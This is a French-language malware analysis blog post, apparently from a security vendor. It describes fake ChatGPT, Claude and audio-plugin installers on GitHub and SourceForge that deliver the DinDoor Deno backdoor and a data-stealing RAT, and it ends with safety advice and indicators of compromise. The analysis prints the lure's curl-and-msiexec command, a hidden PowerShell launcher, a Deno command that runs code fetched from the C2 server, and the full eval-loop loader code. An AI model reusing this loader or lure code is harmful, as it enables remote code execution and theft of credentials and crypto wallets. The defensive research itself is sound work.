Des logiciels malveillants sur GitHub et SourceForge diffusent le RAT Deno 

| 26 mai 2026
Un loup déguisé en agneau

Au cours de nos activités de recherche de menaces, nous avons découvert sur GitHub et SourceForge de faux programmes d'installation et plugins se faisant passer pour des logiciels populaires tels que ChatGPT, Claude, AutoTune et Kontakt, et diffusant une porte dérobée Deno connue sous le nom de DinDoor. Les pirates utilisent YouTube piratées pour diffuser des liens vers ces plateformes. 

DinDoor déploie finalement différents types de logiciels malveillants, notamment un cheval de Troie d'accès à distance (RAT) furtif, qui utilise également le moteur d'exécution JavaScript Deno.  

Les pirates exploitent de plus en plus des environnements d'exécution JavaScript alternatifs tels que Bun et Deno pour contourner les méthodes de détection traditionnelles. Lors d'une de nos récentes enquêtes, nous avons mis en évidence la manière dont les pirates utilisent Bun comme vecteur d'infection initial pour diffuser NWHStealer. En mars, ThreatDown ont également observé des pirates utilisant Deno pour déployer CastleLoader via une chaîne d'infection en plusieurs étapes impliquant le leurre ClickFix.  

Ces campagnes utilisent Scoop (un programme d'installation alternatif pour Windows) et WinGet (le gestionnaire Windows officiel Windows ) pour installer Deno sur l'ordinateur de la victime. Elles exploitent ensuite le runtime Deno pour exécuter un RAT capable de déployer des charges utiles supplémentaires et d'exfiltrer des données depuis les navigateurs, les portefeuilles électroniques et d'autres applications. Ce RAT dispose d'une fonctionnalité peer-to-peer intéressante qui utilise Edge masquer le trafic malveillant. 

Des plateformes légitimes utilisées à des fins malveillantes pour diffuser des logiciels malveillants

Dans la plupart des cas analysés, la chaîne d'infection est généralement déclenchée pardes fichiers MSIoudes scripts PowerShelltéléchargés depuis GitHub ou SourceForge. Les utilisateurs sont généralement redirigés vers ces dépôts malveillants viaYouTube piratées. Ces vidéos totalisent actuellement plus de 50 000 vues. 

YouTube piratées diffusant des vidéos générées par l'IA 
YouTube piratées diffusant des vidéos générées par l'IA 

YouTube piratées publient des messages faisant la promotion de divers logiciels et changent constamment de compte GitHub pour diffuser le logiciel malveillant. 

YouTube renvoyant vers des dépôts GitHub malveillants
YouTube renvoyant vers des dépôts GitHub malveillants

Ce faux logiciel semble avoir été conçu pour cibler les créateurs, les passionnés d'IA, les gamers et les utilisateurs avertis, qui sont plus enclins à télécharger des outils non officiels, des logiciels piratés ou des programmes d'installation diffusés par la communauté sur des sites tels que GitHub et SourceForge. Nous avons observé de faux fichiers MSI et scripts se faisant passer pour des programmes d'installation et des plugins destinés à des logiciels et marques légitimes tels que ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune et Kontakt. 

Dépôt GitHub pour le faux programme d'installation de ChatGPT
Dépôt GitHub pour le faux programme d'installation de ChatGPT 

Ces dépôts malveillants contiennent une commande pour Windows macOS. Ils invitent les utilisateurs à ouvrir le terminal et à copier une commande malveillante, qui télécharge et exécute le fichier MSI depuis GitHub. 

Faux plugin qui demande à l'utilisateur de copier et d'exécuter la commande malveillante 
Faux plugin qui demande à l'utilisateur de copier et d'exécuter la commande malveillante 

Des comptes GitHub malveillants créent de nombreux dépôts contenant de faux logiciels et plugins liés à des logiciels populaires afin d'attirer davantage d'utilisateurs. 

Compte GitHub contenant différents dépôts malveillants
Compte GitHub contenant différents dépôts malveillants

Nous avons découvert que cette même porte dérobée avait été diffusée via SourceForge, en se faisant passer pour un logiciel de jeu légitime appelé GearUP et un logiciel de suppression de filigranes basé sur l'IA appelé BWR. 

Les fichiers MSI malveillants hébergés sur SourceForge

Comment rester en sécurité  

Les pirates ont largement misé sur la confiance. GitHub et SourceForge sont des plateformes légitimes, ce qui rend les faux projets d'autant plus convaincants. Nous avons contacté GitHub, qui a rapidement supprimé les dépôts malveillants, mais les utilisateurs doivent s'attendre à ce que de nouveaux dépôts continuent d'apparaître.

Voici quelques conseils simples pour rester en sécurité :  

  • Ne téléchargez des logiciels qu'à partir des sites Web officiels des éditeurs.  
  • Méfiez-vous des versions « gratuites », piratées ou non officielles des logiciels payants. 
  • Faites preuve de prudence lorsque vous téléchargez des fichiers depuis GitHub, SourceForge, des forums ou des sites de partage de fichiers, en particulier s'ils proviennent de comptes récents ou inconnus. 
  • Les pirates continuent de créer de nouveaux profils pour diffuser ce logiciel malveillant sur différentes plateformes. Avant de télécharger quoi que ce soit, vérifiez le profil du développeur ou de l'éditeur, sa réputation et depuis quand il a été créé. 
  • Vérifiez que le contenu de l'archive, les images et les fichiers texte correspondent bien à ce que vous vous attendiez à télécharger. Les noms et la structure des archives suivent souvent des schémas malveillants reconnaissables.  
  • Vérifiez l'éditeur du fichier et sa signature numérique avant de l'exécuter. Windows, vous pouvez généralement effectuer cette vérification en cliquant avec le bouton droit sur le fichier, puis en sélectionnant Propriétés > Signatures numériques. N'oubliez pas qu'une signature valide ne garantit pas la sécurité d'un fichier, mais que l'absence de signature ou une signature suspecte constitue souvent un signal d'alerte. 

Analyse technique 

Les dépôts GitHub malveillants invitent l'utilisateur à ouvrir la ligne de commande et à exécuter une commande malveillante. Ces commandes téléchargent un fichier MSI depuis GitHub et l'installent via msiexec. Ces référentiels contiennent parfois également des scripts PowerShell permettant de déclencher la chaîne d'infection de la même manière. 

Exemple d'une commande malveillante hébergée sur GitHub qui déclenche la chaîne d'infection : 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

Le fichier MSI place un fichier CMD et un script PowerShell dans un répertoire aléatoire spécifié dans le fichier MSI InstallationFolder et les valeurs du registre. Nous avons identifié différentes structures pour ces MSI, certaines utilisant du JavaScript à la place du fichier CMD, ou comportant des fichiers supplémentaires intégrés.

Les fichiers « Ps1File » et « CmdFile » contenus dans le dropper MSI
Les fichiers « Ps1File » et « CmdFile » contenus dans le dropper MSI

Le fichier CMD exécute le script PowerShell, dont le nom varie selon les chaînes d'infection analysées : 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

Le script PowerShell exécuté
Le script PowerShell exécuté

Le script PowerShell se charge de : 

  • Vérifier que le gestionnaire de paquets Scoop est bien installé, et l'installer s'il manque à l'aide du script officiel disponible sur get.scoop.sh. Scoop est un programme d'installation et un gestionnaire de paquets en ligne de commande open source très populaire pour Microsoft Windows. 
  • Utiliser Scoop pour installer WinGet (gestionnaireWindows ) s'il n'est pas présent.  
  • Installe Deno (un moteur d'exécution JavaScript/TypeScript) via WinGet ou Scoop s'il n'est pas déjà présent.

L'utilisation des gestionnaires de paquets Scoop et WinGet pour installer des logiciels supplémentaires sur la machine compromise constitue une approche intéressante qui offre davantage de flexibilité à l'attaquant. 

Commande exécutée pour installer Deno à l'aide de WinGet : 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

La porte dérobée DinDoor 

Ensuite, l'étape suivante est exécutée à l'aide du fichier exécutable Deno téléchargé : 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

Le code renvoyé (dont le nom interne est « launcher-1 ») est une petite fonction de boucle d'évaluation qui télécharge l'étape suivante (dont le nom interne est « launcher-2 »). La porte dérobée ainsi téléchargée est connue sous le nom deDinDoor

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

La porte dérobée assure la persistance, envoie des informations sur le système compromis au serveur de commande et de contrôle (C2) et exécute les charges utiles et les commandes supplémentaires renvoyées par le C2. Les points de terminaison HTTP utilisés pour les communications C2 varient selon les cas analysés.  

La porte dérobée récupère un identifiant auprès d'un point de terminaison HTTP (par exemple, /security-pool) puis utilise cet identifiant pour récupérer l'étape suivante à partir de /v2{ID}.js.   

L'étape obtenue est exécutée via stdin sans être enregistrées sur le disque, à l'aide de la commande : 

deno run -A --no-check –

Pour assurer sa persistance, la porte dérobée exécute une commande PowerShell afin de créer une clé RUN qui lance le téléchargeur « launcher-1 » utilisé précédemment : 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

Dans les cas analysés, ce cheval de Troie distribue plusieurs familles de logiciels malveillants. Dans cet article, nous analysons l'une des charges utiles distribuées : un RAT qui utilise le moteur d'exécution JavaScript Deno. 

Deno RAT 

Le RAT déployé, à l'instar des autres scripts analysés, utilise l'environnement JavaScript Deno et dispose de toutes les fonctionnalités nécessaires pour contrôler l'appareil, exécuter des commandes et des charges utiles, et exfiltrer divers types de données grâce à son module de vol de données intégré.  

Nous n'avons trouvé aucun nom spécifique ni aucune attribution pour ce RAT. Par le passé, ce RAT a été désigné sous le nom de « Smokest », d'après une valeur spécifique figurant dans le fichier de configuration. Le style de commentaires similaire et l'infrastructure commune laissent supposer que le développeur de DinDoor et celui de ce RAT pourraient être une seule et même personne ou une même équipe. 



Outre le protocole HTTP pour la communication C2, le RAT prend également en charge WebSocket communication, activée lorsque la valeur JSON isLiveEnabled La valeur renvoyée par la fonction C2 est définie sur true. 

La fonction principale du Deno RAT
La fonction principale du Deno RAT

Le RAT prend en charge différentes commandes (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) et fonctionnalités : 

  • Recueillir des informations système sur l'appareil compromis 
  • Contrôle bidirectionnel complet via une implémentation VNC personnalisée sur WebSocket 
  • Ciblez plus de 50 extensions de portefeuilles cryptographiques et 10 dossiers de logiciels cryptographiques, tels que Atomic Wallet, Exodus, Electrum et ByteCoin
  • Collecter des données provenant de navigateurs tels que Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser et Chromodo 
  • Extraire des données de Telegram, Discord et Lightcord 
  • Enregistrer et modifier les données du presse-papiers  
  • Répertorier les dossiers et les fichiers, et extraire le contenu des fichiers portant des extensions spécifiques  
  • Réaliser des captures d'écran à l'aide de différentes méthodes  
  • Exécuter des charges utiles supplémentaires  
  • Lancer ou arrêter des processus au choix  
  • Exécuter des commandes avec PowerShell  
  • Établir des tunnels proxy SOCKS5 via WebSocket 

L'une des fonctionnalités les plus intéressantes du RAT est un mode de diffusion en continu peer-to-peer qui utilise le Edge pour masquer le trafic et rendre la détection plus difficile.

Pour diffuser une vidéo en direct directement vers l'opérateur sans passer par le serveur C2, le RAT lance un Edge Microsoft Edge caché et s'y connecte via le protocole Chrome (CDP). Il injecte ensuite une petite page HTML WebRTC dans Edge, transformant ainsi le navigateur légitime en un relais vidéo peer-to-peer. L'agent Deno capture et encode en H.264 l'écran de la victime, transmet les images à la Edge via le CDP, et Edge les Edge directement au navigateur de l'opérateur via un canal de données WebRTC crypté. La signalisation SDP et ICE, nécessaire pour établir la connexion directe, est échangée via le WebSocket C2 existant. 

La page HTML intégrée au Edge
La page HTML intégrée dans Edge  

Le RAT utilise les points de terminaison suivants pour la communication C2, qui peuvent varier d'un échantillon à l'autre : 

  • /health: vérifie la réponse « ok » provenant du C2 
  • /token: réception des paramètres de configuration, exécution des tâches, résultats et données exfiltrées 
  • /vnc/agent/: Chemin WebSocket utilisé pour la communication VNC 

Les données de configuration sont encodées en Base64 et sont transmises lors des communications avec le serveur C2 sous forme de jeton d'autorisation. Données de configuration décodées : 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

Nous avons découvert différentes versions de ce RAT, dont une version « allégée » appelée « agent-lite » qui ne prend en charge que quelques commandes et utilise Cloudflare Workers pour la communication C2. 

La version « allégée » du RAT
La version « allégée » du RAT

 

Remerciements 

Indicateurs de compromis (IOC) 

URL 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

Domaines 

  • claudescript[.]top: site web de distribution 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

IP 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

Nous ne nous contentons pas de signaler les menaces, nous les éliminons.

Les risques de cybersécurité ne devraient jamais se propager au-delà d'un titre. Éliminez les menaces de vos appareils en téléchargeant Malwarebytes dès aujourd'hui.

À propos de l'auteur

Gabriele est ingénieur en recherche sur les logiciels malveillants et adore lutter contre ces derniers. Lorsqu'il ne s'occupe pas de cela, il aime profiter de la nature, de l'art et des animaux.